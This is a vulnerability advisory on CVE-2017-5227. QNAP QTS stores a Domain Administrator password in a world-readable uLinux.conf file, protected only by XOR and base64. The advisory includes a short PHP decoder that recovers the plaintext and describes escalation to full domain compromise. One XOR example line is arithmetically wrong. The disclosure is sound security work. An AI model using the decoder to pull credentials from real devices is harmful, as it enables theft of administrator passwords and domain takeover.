I. BACKGROUND
QNAP Systems, founded in 2004, provides network attached storage (NAS)
and network video recorder (NVR) solutions for home and business use to
the global market.
QNAP also delivers a cloud service, called myQNAPcloud, that allows
users to access and manage the devices from anywhere.
QTS is a QNAP devices proprietary firmware based on Linux.
ISGroup (http://www.isgroup.biz/) is an Italian Information Security
boutique, we found this 0day issue while supporting Guido Oricchio
of PCego, a System Integrator, to secure a QNAP product for one of his
customer.
Responsible disclosure with Qnap: we contacted qnap on public security@
contact and we escalate fast to their Security Researcher Myron Su on
PGP emails.

Information to customers of the vulnerability is shown in their bulletin
ID NAS-201703-21 (https://www.qnap.com/en/support/con_show.php?cid=113):
QTS 4.2.4 Build 20170313 includes security fixes for the following
vulnerabilities: Configuration file vulnerability (CVE-2017-5227)
reported by Pasquale Fiorillo of the cyber security company ISGroup
(www.isgroup.biz), a cyber security company, and Guido Oricchio of
PCego (www.pcego.com), a system integrator.
The latest version of the software at the time of writing can be
obtained from:

II. DESCRIPTION
The vulnerability allows a local QTS admin user, or other low privileged
user, to access configuration file that includes a bad crypted Microsoft
Domain Administrator password if the NAS was joined to a Microsoft
Active Directory domain.
The affected component is the "uLinux.conf" configuration file,
created with a world-readable permission used to store a Domain
Administrator password.
Admin user can access the file using ssh that is enabled by default.
Other users are not allowed to login, so they have to exploit a
component, such as a web application, to run arbitrary command or
arbitrary file read.
TLDR: Anyone is able to read uLinux.conf file, world readable by
default, can escalate to Domain Administrator if a NAS is a domain
member.
III. ANALYSIS
QNAP QTS stores "uLinux.conf" configuration file in a directory
accessible by "nobody" and with permission that make them readable by
"nobody".
If the NAS was joined to an Active Directory, such file contain a Domain
Administrator user and password in an easily decrypt format.
In older versions of QTS the Domain Admin's password was stored in
plaintext.
A) Config file readable by "nobody"
[~] # ls -l /etc/config/uLinux.conf
-rw-r--r--1 adminadminist7312 Dec 10 06:39 /etc/config/uLinux.conf
Our evidence is for QTS 4.2.0 and QTS 4.2.2 running on a TS-451U,
TS-469L, and TS-221. Access to the needed file are guaranteed to
all the local users, such as httpdusr used to running web sites and
web application hosted on the NAS.
This expose all the information contained in the configuration file at
risk and this is a violation of the principle of least privilege.
https://en.wikipedia.org/wiki/Principle_of_least_privilege
B) Weak encrypted password in the configuration file
The Microsoft Active Directory Admin username and password are stored
in the file obfuscated by a simple XOR cypher and base64 encoded.
In this scenario, a Local File Read vulnerability could lead to full
domain compromise given the fact that an attacker can re-use such
credentials to authenticate against a Domain Controller with maximum
privileges.
The password field in the uLinux.conf has the following format:
User = <username>
Password = <base64>
eg:
User = Administrator
Password = AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==
The "<base64>" decoded is:
sid@zen:~$echo -n "AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==" | base64 -d | hexdump -C
0000000003 03 00 00 01 01 06 0607 07 04 04 23 23 20 20|............##|
0000001021 21 26 26 27 27 24 2443 |!!&&''$$C|
00000019
Each byte xored with \x62 is the hex ascii code of the plaintext char.
Eg:
\x03 ^ \x62 = \x61 (a)
\x00 ^ \x62 = \x61 (b)
...
\x24 ^ \x62 = \x46 (F)
\x43 ^ \x62 = \x21 (!)
The plaintext password is: aabbccddeeffAABBCCDDEEFF!
IV. EXPLOIT
The following code can be used to decode the password:
#!/usr/bin/php
<?php
$plaintext = str_split(base64_decode($argv[1]));
foreach($plaintext as $chr) {
echo chr(ord($chr)^0x62);
}
echo "\n";
Eg: sid@zen:~$ ./decode.php AwMAAAEBBgYHBwQEIyMgICEhJiYnJyQkQw==
aabbccddeeffAABBCCDDEEFF!
V. VENDOR RESPONSE
Vendor released QTS 4.2.4 Build 20170313 that contains the proper
security patch. At the time of this writing an official patch is
currently available.
